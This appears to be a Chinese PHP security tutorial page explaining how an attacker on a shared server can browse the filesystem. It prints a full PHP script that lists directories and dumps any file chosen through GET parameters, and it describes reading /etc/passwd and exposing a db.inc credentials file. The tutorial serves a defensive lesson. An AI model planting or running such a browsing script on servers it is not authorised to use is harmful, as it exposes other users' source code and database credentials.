PHP安全-文件系统浏览

 文件系统浏览

  除了能在共享服务器上读取任意文件之外，攻击者还能建立一个可以浏览文件系统的脚本。由于你的大多数敏感文件不会保存在网站主目录下，此类脚本一般用于找到你的源文件的所在位置。请看下例：

立即学习“PHP免费学习笔记（深入）”；

 <pre class="brush:php;toolbar:false;">
 
  <?php
 
  if (isset($_GET['dir']))
  {
    ls($_GET['dir']);
  }
  elseif (isset($_GET['file']))
  {
    cat($_GET['file']);
  }
  else
  {
    ls('/');
  }
 
  function cat($file)
  {
    echo htmlentities(file_get_contents($file),
ENT_QUOTES, 'UTF-8'));
  }
 
  function ls($dir)
  {
    $handle = dir($dir);
 
    while ($filename = $handle->read())
    {
      $size = filesize("$dir$filename");
 
      if (is_dir("$dir$filename"))
      {
        $type = 'dir';
        $filename .= '/';
      }
      else
      {
        $type = 'file';
      }
 
      if (is_readable("$dir$filename"))
      {
        $line = str_pad($size, 15);
        $line .= "<a
href=\"{$_SERVER['PHP_SELF']}";
        $line .=
"?$type=$dir$filename\">$filename</a>";
      }
      else
      {
        $line = str_pad($size, 15);
        $line .= $filename;
      }
 
      echo "$line\n";
    }
 
    $handle->close();
  }
 
  ?>
 
  

intense图片全屏浏览插件(jQuery)

intense图片全屏浏览插件(jQuery)，当鼠标点击图片时，可以全屏幕浏览图片，移动鼠标可以查看图片不同的部分，适合相册展示图片细节。兼容主流浏览器，php中文网推荐下载！ 使用方法： 1、head区域引用文件styles.css及intense.js 2、在文件中加入区域代码 3、复制images文件夹

下载

立即学习“PHP免费学习笔记（深入）”；

  攻击者可能会首先察看/etc/passwd文件或/home目录以取得该服务器上的用户名清单；可以通过语言的结构如include或require来发现保存在网站主目录以外的源文件所在位置。例如，考虑一下下面的脚本文件/home/victim/public_html/admin.php：

立即学习“PHP免费学习笔记（深入）”；

  <?php
 
  include '../inc/db.inc';
 
  /* ... */
 
  ?>

立即学习“PHP免费学习笔记（深入）”；

  如果攻击者设法显示了该文件的源码，就可以发现db.inc的所在位置，同时他可以使用readfile()函数来使其内容暴露，取得了数据库的访问权限。这样，在这个环境中保存db.inc于网站主目录之外的做法并未起到保护作用。

  这一攻击说明了为什么要把共享服务器上的所有源文件看成是公开的，并要选择数据库实现所有敏感数据的保存。

立即学习“PHP免费学习笔记（深入）”；

 以上就是PHP安全-文件系统浏览的内容，更多相关内容请关注PHP中文网（www.php.cn）！